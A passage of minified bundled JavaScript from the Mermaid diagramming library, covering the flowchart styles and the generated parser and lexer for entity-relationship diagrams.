[)/,/^(?:(\}))/,/^(?:\{)/,/^(?:[^\[\]\(\)\{\}\|\"]+)/,/^(?:")/,/^(?:(\r?\n)+)/,/^(?:\s)/,/^(?:$)/],conditions:{shapeDataEndBracket:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},shapeDataStr:{rules:[9,10,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},shapeData:{rules:[8,11,12,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},callbackargs:{rules:[17,18,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},callbackname:{rules:[14,15,16,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},href:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},click:{rules:[21,24,33,34,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},dottedEdgeText:{rules:[21,24,74,76,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},thickEdgeText:{rules:[21,24,71,73,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},edgeText:{rules:[21,24,68,70,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},trapText:{rules:[21,24,77,80,82,84,88,90,91,92,93,94,95,108,110,112,114],inclusive:!1},ellipseText:{rules:[21,24,77,78,79,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},text:{rules:[21,24,77,80,81,82,83,84,87,88,89,90,94,95,107,108,109,110,111,112,113,114,115],inclusive:!1},vertex:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},dir:{rules:[21,24,44,45,46,47,48,49,50,51,52,53,54,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_descr_multiline:{rules:[5,6,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_descr:{rules:[3,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_title:{rules:[1,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},md_string:{rules:[19,20,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},string:{rules:[21,22,23,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},INITIAL:{rules:[0,2,4,7,13,21,24,25,26,27,28,29,30,31,32,35,36,37,38,39,40,41,42,43,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,71,72,74,75,77,80,82,84,85,86,88,90,94,95,96,97,98,99,100,101,102,103,104,105,106,108,110,112,114,116,117,118,119],inclusive:!0}}};return fr})();Hi.lexer=Zs;function _a(){this.yy={}}return o(_a,"Parser"),_a.prototype=Hi,Hi.Parser=_a,new _a})();GI.parser=GI;VI=GI});var ffe,dfe,pfe=N(()=>{"use strict";hfe();ffe=Object.assign({},VI);ffe.parse=t=>{let e=t.replace(/}\s*\n/g,`} +`);return VI.parse(e)};dfe=ffe});var zc,yg=N(()=>{"use strict";zc=o(()=>` + /* Font Awesome icon styling - consolidated */ + .label-icon { + display: inline-block; + height: 1em; + overflow: visible; + vertical-align: -0.125em; + } + + .node .label-icon path { + fill: currentColor; + stroke: revert; + stroke-width: revert; + } +`,"getIconStyles")});var Jqe,eWe,mfe,gfe=N(()=>{"use strict";eo();yg();Jqe=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),eWe=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .cluster-label text { + fill: ${t.titleColor}; + } + .cluster-label span { + color: ${t.titleColor}; + } + .cluster-label span p { + background-color: transparent; + } + + .label text,span { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + .rough-node .label text , .node .label text, .image-shape .label, .icon-shape .label { + text-anchor: middle; + } + // .flowchart-label .text-outer-tspan { + // text-anchor: middle; + // } + // .flowchart-label .text-inner-tspan { + // text-anchor: start; + // } + + .node .katex path { + fill: #000; + stroke: #000; + stroke-width: 1px; + } + + .rough-node .label,.node .label, .image-shape .label, .icon-shape .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + + .root .anchor path { + fill: ${t.lineColor} !important; + stroke-width: 0; + stroke: ${t.lineColor}; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 2.0px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + + /* For html labels only */ + .labelBkg { + background-color: ${Jqe(t.edgeLabelBackground,.5)}; + // background-color: + } + + .cluster rect { + fill: ${t.clusterBkg}; + stroke: ${t.clusterBorder}; + stroke-width: 1px; + } + + .cluster text { + fill: ${t.titleColor}; + } + + .cluster span { + color: ${t.titleColor}; + } + /* .cluster div { + color: ${t.titleColor}; + } */ + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .flowchartTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } + + rect.text { + fill: none; + stroke-width: 0; + } + + .icon-shape, .image-shape { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + padding: 2px; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + ${zc()} +`,"getStyles"),mfe=eWe});var CE={};dr(CE,{diagram:()=>tWe});var tWe,AE=N(()=>{"use strict";Xt();Bte();ufe();pfe();gfe();tWe={parser:dfe,get db(){return new lw},renderer:cfe,styles:mfe,init:o(t=>{t.flowchart||(t.flowchart={}),t.layout&&nv({layout:t.layout}),t.flowchart.arrowMarkerAbsolute=t.arrowMarkerAbsolute,nv({flowchart:{arrowMarkerAbsolute:t.arrowMarkerAbsolute}})},"init")}});var UI,Tfe,wfe=N(()=>{"use strict";UI=(function(){var t=o(function(K,ae,Q,de){for(Q=Q||{},de=K.length;de--;Q[K[de]]=ae);return Q},"o"),e=[6,8,10,22,24,26,28,33,34,35,36,37,40,43,44,50],r=[1,10],n=[1,11],i=[1,12],a=[1,13],s=[1,20],l=[1,21],u=[1,22],h=[1,23],f=[1,24],d=[1,19],p=[1,25],m=[1,26],g=[1,18],y=[1,33],v=[1,34],x=[1,35],b=[1,36],T=[1,37],S=[6,8,10,13,15,17,20,21,22,24,26,28,33,34,35,36,37,40,43,44,50,63,64,65,66,67],w=[1,42],k=[1,43],A=[1,52],C=[40,50,68,69],R=[1,63],I=[1,61],L=[1,58],E=[1,62],D=[1,64],_=[6,8,10,13,17,22,24,26,28,33,34,35,36,37,40,41,42,43,44,48,49,50,63,64,65,66,67],O=[63,64,65,66,67],M=[1,81],P=[1,80],B=[1,78],F=[1,79],G=[6,10,42,47],$=[6,10,13,41,42,47,48,49],U=[1,89],j=[1,88],te=[1,87],Y=[19,56],oe=[1,98],J=[1,97],ue=[19,56,58,60],re={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,ER_DIAGRAM:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,entityName:11,relSpec:12,COLON:13,role:14,STYLE_SEPARATOR:15,idList:16,BLOCK_START:17,attributes:18,BLOCK_STOP:19,SQS:20,SQE:21,title:22,title_value:23,acc_title:24,acc_title_value:25,acc_descr:26,acc_descr_value:27,acc_descr_multiline_value:28,direction:29,classDefStatement:30,classStatement:31,styleStatement:32,direction_tb:33,direction_bt:34,direction_rl:35,direction_lr:36,CLASSDEF:37,stylesOpt:38,separator:39,UNICODE_TEXT:40,STYLE_TEXT:41,COMMA:42,CLASS:43,STYLE:44,style:45,styleComponent:46,SEMI:47,NUM:48,BRKT:49,ENTITY_NAME:50,attribute:51,attributeType:52,attributeName:53,attributeKeyTypeList:54,attributeComment:55,ATTRIBUTE_WORD:56,attributeKeyType:57,",":58,ATTRIBUTE_KEY:59,COMMENT:60,cardinality:61,relType:62,ZERO_OR_ONE:63,ZERO_OR_MORE:64,ONE_OR_MORE:65,ONLY_ONE:66,MD_PARENT:67,NON_IDENTIFYING:68,IDENTIFYING:69,WORD:70,$accept:0,$end:1},terminals_:{2:"error",4:"ER_DIAGRAM",6:"EOF",8:"SPACE",10:"NEWLINE",13:"COLON",15:"STYLE_SEPARATOR",17:"BLOCK_START",19:"BLOCK_STOP",20:"SQS",21:"SQE",22:"title",23:"title_value",24:"acc_title",25:"acc_title_value",26:"acc_descr",27:"acc_descr_value",28:"acc_descr_multiline_value",33:"direction_tb",34:"direction_bt",35:"direction_rl",36:"direction_lr",37:"CLASSDEF",40:"UNICODE_TEXT",41:"STYLE_TEXT",42:"COMMA",43:"CLASS",44:"STYLE",47:"SEMI",48:"NUM",49:"BRKT",50:"ENTITY_NAME",56:"ATTRIBUTE_WORD",58:",",59:"ATTRIBUTE_KEY",60:"COMMENT",63:"ZERO_OR_ONE",64:"ZERO_OR_MORE",65:"ONE_OR_MORE",66:"ONLY_ONE",67:"MD_PARENT",68:"NON_IDENTIFYING",69:"IDENTIFYING",70:"WORD"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,5],[9,9],[9,7],[9,7],[9,4],[9,6],[9,3],[9,5],[9,1],[9,3],[9,7],[9,9],[9,6],[9,8],[9,4],[9,6],[9,2],[9,2],[9,2],[9,1],[9,1],[9,1],[9,1],[9,1],[29,1],[29,1],[29,1],[29,1],[30,4],[16,1],[16,1],[16,3],[16,3],[31,3],[32,4],[38,1],[38,3],[45,1],[45,2],[39,1],[39,1],[39,1],[46,1],[46,1],[46,1],[46,1],[11,1],[11,1],[18,1],[18,2],[51,2],[51,3],[51,3],[51,4],[52,1],[53,1],[54,1],[54,3],[57,1],[55,1],[12,3],[61,1],[61,1],[61,1],[61,1],[61,1],[62,1],[62,1],[14,1],[14,1],[14,1]],performAction:o(function(ae,Q,de,ne,Te,q,Ve){var pe=q.length-1;switch(Te){case 1:break;case 2:this.$=[];break;case 3:q[pe-1].push(q[pe]),this.$=q[pe-1];break;case 4:case 5:this.$=q[pe];break;case 6:case 7:this.$=[];break;case 8:ne.addEntity(q[pe-4]),ne.addEntity(q[pe-2]),ne.addRelationship(q[pe-4],q[pe],q[pe-2],q[pe-3]);break;case 9:ne.addEntity(q[pe-8]),ne.addEntity(q[pe-4]),ne.addRelationship(q[pe-8],q[pe],q[pe-4],q[pe-5]),ne.setClass([q[pe-8]],q[pe-6]),ne.setClass([q[pe-4]],q[pe-2]);break;case 10:ne.addEntity(q[pe-6]),ne.addEntity(q[pe-2]),ne.addRelationship(q[pe-6],q[pe],q[pe-2],q[pe-3]),ne.setClass([q[pe-6]],q[pe-4]);break;case 11:ne.addEntity(q[pe-6]),ne.addEntity(q[pe-4]),ne.addRelationship(q[pe-6],q[pe],q[pe-4],q[pe-5]),ne.setClass([q[pe-4]],q[pe-2]);break;case 12:ne.addEntity(q[pe-3]),ne.addAttributes(q[pe-3],q[pe-1]);break;case 13:ne.addEntity(q[pe-5]),ne.addAttributes(q[pe-5],q[pe-1]),ne.setClass([q[pe-5]],q[pe-3]);break;case 14:ne.addEntity(q[pe-2]);break;case 15:ne.addEntity(q[pe-4]),ne.setClass([q[pe-4]],q[pe-2]);break;case 16:ne.addEntity(q[pe]);break;case 17:ne.addEntity(q[pe-2]),ne.setClass([q[pe-2]],q[pe]);break;case 18:ne.addEntity(q[pe-6],q[pe-4]),ne.addAttributes(q[pe-6],q[pe-1]);break;case 19:ne.addEntity(q[pe-8],q[pe-6]),ne.addAttributes(q[pe-8],q[pe-1]),ne.setClass([q[pe-8]],q[pe-3]);break;case 20:ne.addEntity(q[pe-5],q[pe-3]);break;case 21:ne.addEntity(q[pe-7],q[pe-5]),ne.setClass([q[pe-7]],q[pe-2]);break;case 22:ne.addEntity(q[pe-3],q[pe-1]);break;case 23:ne.addEntity(q[pe-5],q[pe-3]),ne.setClass([q[pe-5]],q[pe]);break;case 24:case 25:this.$=q[pe].trim(),ne.setAccTitle(this.$);break;case 26:case 27:this.$=q[pe].trim(),ne.setAccDescription(this.$);break;case 32:ne.setDirection("TB");break;case 33:ne.setDirection("BT");break;case 34:ne.setDirection("RL");break;case 35:ne.setDirection("LR");break;case 36:this.$=q[pe-3],ne.addClass(q[pe-2],q[pe-1]);break;case 37:case 38:case 56:case 64:this.$=[q[pe]];break;case 39:case 40:this.$=q[pe-2].concat([q[pe]]);break;case 41:this.$=q[pe-2],ne.setClass(q[pe-1],q[pe]);break;case 42:this.$=q[pe-3],ne.addCssStyles(q[pe-2],q[pe-1]);break;case 43:this.$=[q[pe]];break;case 44:q[pe-2].push(q[pe]),this.$=q[pe-2];break;case 46:this.$=q[pe-1]+q[pe];break;case 54:case 76:case 77:this.$=q[pe].replace(/"/g,"");break;case 55:case 78:this.$=q[pe];break;case 57:q[pe].push(q[pe-1]),this.$=q[pe];break;case 58:this.$={type:q[pe-1],name:q[pe]};break;case 59:this.$={type:q[pe-2],name:q[pe-1],keys:q[pe]};break;case 60:this.$={type:q[pe-2],name:q[pe-1],comment:q[pe]};break;case 61:this.$={type:q[pe-3],name:q[pe-2],keys:q[pe-1],comment:q[pe]};break;case 62:case 63:case 66:this.$=q[pe];break;case 65:q[pe-2].push(q[pe]),this.$=q[pe-2];break;case 67:this.$=q[pe].replace(/"/g,"");break;case 68:this.$={cardA:q[pe],relType:q[pe-1],cardB:q[pe-2]};break;case 69:this.$=ne.Cardinality.ZERO_OR_ONE;break;case 70:this.$=ne.Cardinality.ZERO_OR_MORE;break;case 71:this.$=ne.Cardinality.ONE_OR_MORE;break;case 72:this.$=ne.Cardinality.ONLY_ONE;break;case 73:this.$=ne.Cardinality.MD_PARENT;break;case 74:this.$=ne.Identification.NON_IDENTIFYING;break;case 75:this.$=ne.Identification.IDENTIFYING;break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:9,22:r,24:n,26:i,28:a,29:14,30:15,31:16,32:17,33:s,34:l,35:u,36:h,37:f,40:d,43:p,44:m,50:g},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:27,11:9,22:r,24:n,26:i,28:a,29:14,30:15,31:16,32:17,33:s,34:l,35:u,36:h,37:f,40:d,43:p,44:m,50:g},t(e,[2,5]),t(e,[2,6]),t(e,[2,16],{12:28,61:32,15:[1,29],17:[1,30],20:[1,31],63:y,64:v,65:x,66:b,67:T}),{23:[1,38]},{25:[1,39]},{27:[1,40]},t(e,[2,27]),t(e,[2,28]),t(e,[2,29]),t(e,[2,30]),t(e,[2,31]),t(S,[2,54]),t(S,[2,55]),t(e,[2,32]),t(e,[2,33]),t(e,[2,34]),t(e,[2,35]),{16:41,40:w,41:k},{16:44,40:w,41:k},{16:45,40:w,41:k},t(e,[2,4]),{11:46,40:d,50:g},{16:47,40:w,41:k},{18:48,19:[1,49],51:50,52:51,56:A},{11:53,40:d,50:g},{62:54,68:[1,55],69:[1,56]},t(C,[2,69]),t(C,[2,70]),t(C,[2,71]),t(C,[2,72]),t(C,[2,73]),t(e,[2,24]),t(e,[2,25]),t(e,[2,26]),{13:R,38:57,41:I,42:L,45:59,46:60,48:E,49:D},t(_,[2,37]),t(_,[2,38]),{16:65,40:w,41:k,42:L},{13:R,38:66,41:I,42:L,45:59,46:60,48:E,49:D},{13:[1,67],15:[1,68]},t(e,[2,17],{61:32,12:69,17:[1,70],42:L,63:y,64:v,65:x,66:b,67:T}),{19:[1,71]},t(e,[2,14]),{18:72,19:[2,56],51:50,52:51,56:A},{53:73,56:[1,74]},{56:[2,62]},{21:[1,75]},{61:76,63:y,64:v,65:x,66:b,67:T},t(O,[2,74]),t(O,[2,75]),{6:M,10:P,39:77,42:B,47:F},{40:[1,82],41:[1,83]},t(G,[2,43],{46:84,13:R,41:I,48:E,49:D}),t($,[2,45]),t($,[2,50]),t($,[2,51]),t($,[2,52]),t($,[2,53]),t(e,[2,41],{42:L}),{6:M,10:P,39:85,42:B,47:F},{14:86,40:U,50:j,70:te},{16:90,40:w,41:k},{11:91,40:d,50:g},{18:92,19:[1,93],51:50,52:51,56:A},t(e,[2,12]),{19:[2,57]},t(Y,[2,58],{54:94,55:95,57:96,59:oe,60:J}),t([19,56,59,60],[2,63]),t(e,[2,22],{15:[1,100],17:[1,99]}),t([40,50],[2,68]),t(e,[2,36]),{13:R,41:I,45:101,46:60,48:E,49:D},t(e,[2,47]),t(e,[2,48]),t(e,[2,49]),t(_,[2,39]),t(_,[2,40]),t($,[2,46]),t(e,[2,42]),t(e,[2,8]),t(e,[2,76]),t(e,[2,77]),t(e,[2,78]),{13:[1,102],42:L},{13:[1,104],15:[1,103]},{19:[1,105]},t(e,[2,15]),t(Y,[2,59],{55:106,58:[1,107],60:J}),t(Y,[2,60]),t(ue,[2,64]),t(Y,[2,67]),t(ue,[2,66]),{18:108,19:[1,109],51:50,52:51,56:A},{16:110,40:w,41:k},t(G,[2,44],{46:84,13:R,41:I,48:E,49:D}),{14:111,40:U,50:j,70:te},{16:112,40:w,41:k},{14:113,40:U,50:j,70:te},t(e,[2,13]),t(Y,[2,61]),{57:114,59:oe},{19:[1,115]},t(e,[2,20]),t(e,[2,23],{17:[1,116],42:L}),t(e,[2,11]),{13:[1,117],42:L},t(e,[2,10]),t(ue,[2,65]),t(e,[2,18]),{18:118,19:[1,119],51:50,52:51,56:A},{14:120,40:U,50:j,70:te},{19:[1,121]},t(e,[2,21]),t(e,[2,9]),t(e,[2,19])],defaultActions:{52:[2,62],72:[2,57]},parseError:o(function(ae,Q){if(Q.recoverable)this.trace(ae);else{var de=new Error(ae);throw de.hash=Q,de}},"parseError"),parse:o(function(ae){var Q=this,de=[0],ne=[],Te=[null],q=[],Ve=this.table,pe="",Be=0,Ye=0,He=0,Le=2,Ie=1,Ne=q.slice.call(arguments,1),Ce=Object.create(this.lexer),Fe={yy:{}};for(var fe in this.yy)Object.prototype.hasOwnProperty.call(this.yy,fe)&&(Fe.yy[fe]=this.yy[fe]);Ce.setInput(ae,Fe.yy),Fe.yy.lexer=Ce,Fe.yy.parser=this,typeof Ce.yylloc>"u"&&(Ce.yylloc={});var xe=Ce.yylloc;q.push(xe);var W=Ce.options&&Ce.options.ranges;typeof Fe.yy.parseError=="function"?this.parseError=Fe.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function he(et){de.length=de.length-2*et,Te.length=Te.length-et,q.length=q.length-et}o(he,"popStack");function z(){var et;return et=ne.pop()||Ce.lex()||Ie,typeof et!="number"&&(et instanceof Array&&(ne=et,et=ne.pop()),et=Q.symbols_[et]||et),et}o(z,"lex");for(var se,le,ke,ve,ye,Re,_e={},ze,Ke,xt,We;;){if(ke=de[de.length-1],this.defaultActions[ke]?ve=this.defaultActions[ke]:((se===null||typeof se>"u")&&(se=z()),ve=Ve[ke]&&Ve[ke][se]),typeof ve>"u"||!ve.length||!ve[0]){var Oe="";We=[];for(ze in Ve[ke])this.terminals_[ze]&&ze>Le&&We.push("'"+this.terminals_[ze]+"'");Ce.showPosition?Oe="Parse error on line "+(Be+1)+`: +`+Ce.showPosition()+` +Expecting `+We.join(", ")+", got '"+(this.terminals_[se]||se)+"'":Oe="Parse error on line "+(Be+1)+": Unexpected "+(se==Ie?"end of input":"'"+(this.terminals_[se]||se)+"'"),this.parseError(Oe,{text:Ce.match,token:this.terminals_[se]||se,line:Ce.yylineno,loc:xe,expected:We})}if(ve[0]instanceof Array&&ve.length>1)throw new Error("Parse Error: multiple actions possible at state: "+ke+", token: "+se);switch(ve[0]){case 1:de.push(se),Te.push(Ce.yytext),q.push(Ce.yylloc),de.push(ve[1]),se=null,le?(se=le,le=null):(Ye=Ce.yyleng,pe=Ce.yytext,Be=Ce.yylineno,xe=Ce.yylloc,He>0&&He--);break;case 2:if(Ke=this.productions_[ve[1]][1],_e.$=Te[Te.length-Ke],_e._$={first_line:q[q.length-(Ke||1)].first_line,last_line:q[q.length-1].last_line,first_column:q[q.length-(Ke||1)].first_column,last_column:q[q.length-1].last_column},W&&(_e._$.range=[q[q.length-(Ke||1)].range[0],q[q.length-1].range[1]]),Re=this.performAction.apply(_e,[pe,Ye,Be,Fe.yy,ve[1],Te,q].concat(Ne)),typeof Re<"u")return Re;Ke&&(de=de.slice(0,-1*Ke*2),Te=Te.slice(0,-1*Ke),q=q.slice(0,-1*Ke)),de.push(this.productions_[ve[1]][0]),Te.push(_e.$),q.push(_e._$),xt=Ve[de[de.length-2]][de[de.length-1]],de.push(xt);break;case 3:return!0}}return!0},"parse")},ee=(function(){var K={EOF:1,parseError:o(function(Q,de){if(this.yy.parser)this.yy.parser.parseError(Q,de);else throw new Error(Q)},"parseError"),setInput:o(function(ae,Q){return this.yy=Q||this.yy||{},this._input=ae,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var ae=this._input[0];this.yytext+=ae,this.yyleng++,this.offset++,this.match+=ae,this.matched+=ae;var Q=ae.match(/(?:\r\n?|\n).*/g);return Q?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),ae},"input"),unput:o(function(ae){var Q=ae.length,de=ae.split(/(?:\r\n?|\n)/g);this._input=ae+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Q),this.offset-=Q;var ne=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),de.length-1&&(this.yylineno-=de.length-1);var Te=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:de?(de.length===ne.length?this.yylloc.first_column:0)+ne[ne.length-de.length].length-de[0].length:this.yylloc.first_column-Q},this.options.ranges&&(this.yylloc.range=[Te[0],Te[0]+this.yyleng-Q]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(ae){this.unput(this.match.slice(ae))},"less"),pastInput:o(function(){var ae=this.matched.substr(0,this.matched.length-this.match.length);return(ae.length>20?"...":"")+ae.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var ae=this.match;return ae.length<20&&(ae+=this._input.substr(0,20-ae.length)),(ae.substr(0,20)+(ae.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var ae=this.pastInput(),Q=new Array(ae.length+1).join("-");return ae+this.upcomingInput()+` +`+Q+"^"},"showPosition"),test_match:o(function(ae,Q){var de,ne,Te;if(this.options.backtrack_lexer&&(Te={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Te.yylloc.range=this.yylloc.range.slice(0))),ne=ae[0].match(/(?:\r\n?|\n).*/g),ne&&(this.yylineno+=ne.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ne?ne[ne.length-1].length-ne[ne.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+ae[0].length},this.yytext+=ae[0],this.match+=ae[0],this.matches=ae,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(ae[0].length),this.matched+=ae[0],de=this.performAction.call(this,this.yy,this,Q,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),de)return de;if(this._backtrack){for(var q in Te)this[q]=Te[q];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var ae,Q,de,ne;this._more||(this.yytext="",this.match="");for(var Te=this._currentRules(),q=0;qQ[0].length)){if(Q=de,ne=q,this.options.backtrack_lexer){if(ae=this.test_match(de,Te[q]),ae!==!1)return ae;if(this._backtrack){Q=!1;continue}else return!1}else if(!this.options.flex)break}return Q?(ae=this.test_match(Q,Te[ne]),ae!==!1?ae:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Q=this.next();return Q||this.lex()},"lex"),begin:o(function(Q){this.conditionStack.push(Q)},"begin"),popState:o(function(){var Q=this.conditionStack.length-1;return Q>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Q){return Q=this.conditionStack.length-1-Math.abs(Q||0),Q>=0?this.conditionStack[Q]:"INITIAL"},"topState"),pushState:o(function(Q){this.begin(Q)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(Q,de,ne,Te){var q=Te;switch(ne){case 0:return this.begin("acc_title"),24;break;case 1:return this.popState(),"acc_title_value";break;case 2:return this.begin("acc_descr"),26;break;case 3:return this.popState(),"acc_descr_value";break;case 4:this.begin("acc_descr_multiline");break;case 5:this.popState();break;case 6:return"acc_descr_multiline_value";case 7:return 33;case 8:return 34;case 9:return 35;case 10:return 36;case 11:return 10;case 12:break;case 13:return 8;case 14:return 50;case 15:return 70;case 16:return 4;case 17:return this.begin("block"),17;break;case 18:return 49;case 19:return 49;case 20:return 42;case 21:return 15;case 22:return 13;case 23:break;case 24:return 59;case 25:return 56;case 26:return 56;case 27:return 60;case 28:break;case 29:return this.popState(),19;break;case 30:return de.yytext[0];case 31:return 20;case 32:return 21;case 33:return this.begin("style"),44;break;case 34:return this.popState(),10;break;case 35:break;case 36:return 13;case 37:return 42;case 38:return 49;case 39:return this.begin("style"),37;break;case 40:return 43;case 41:return 63;case 42:return 65;case 43:return 65;case 44:return 65;case 45:return 63;case 46:return 63;case 47:return 64;case 48:return 64;case 49:return 64;case 50:return 64;case 51:return 64;case 52:return 65;case 53:return 64;case 54:return 65;case 55:return 66;case 56:return 66;case 57:return 66;case 58:return 66;case 59:return 63;case 60:return 64;case 61:return 65;case 62:return 67;case 63:return 68;case 64:return 69;case 65:return 69;case 66:return 68;case 67:return 68;case 68:return 68;case 69:return 41;case 70:return 47;case 71:return 40;case 72:return 48;case 73:return de.yytext[0];case 74:return 6}},"anonymous"),rules:[/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:[\s]+)/i,/^(?:"[^"%\r\n\v\b\\]+")/i,/^(?:"[^"]*")/i,/^(?:erDiagram\b)/i,/^(?:\{)/i,/^(?:#)/i,/^(?:#)/i,/^(?:,)/i,/^(?::::)/i,/^(?::)/i,/^(?:\s+)/i,/^(?:\b((?:PK)|(?:FK)|(?:UK))\b)/i,/^(?:([^\s]*)[~].*[~]([^\s]*))/i,/^(?:([\*A-Za-z_\u00C0-\uFFFF][A-Za-z0-9\-\_\[\]\(\)\u00C0-\uFFFF\*]*))/i,/^(?:"[^"]*")/i,/^(?:[\n]+)/i,/^(?:\})/i,/^(?:.)/i,/^(?:\[)/i,/^(?:\])/i,/^(?:style\b)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?::)/i,/^(?:,)/i,/^(?:#)/i,/^(?:classDef\b)/i,/^(?:class\b)/i,/^(?:one or zero\b)/i,/^(?:one or more\b)/i,/^(?:one or many\b)/i,/^(?:1\+)/i,/^(?:\|o\b)/i,/^(?:zero or one\b)/i,/^(?:zero or more\b)/i,/^(?:zero or many\b)/i,/^(?:0\+)/i,/^(?:\}o\b)/i,/^(?:many\(0\))/i,/^(?:many\(1\))/i,/^(?:many\b)/i,/^(?:\}\|)/i,/^(?:one\b)/i,/^(?:only one\b)/i,/^(?:1\b)/i,/^(?:\|\|)/i,/^(?:o\|)/i,/^(?:o\{)/i,/^(?:\|\{)/i,/^(?:\s*u\b)/i,/^(?:\.\.)/i,/^(?:--)/i,/^(?:to\b)/i,/^(?:optionally 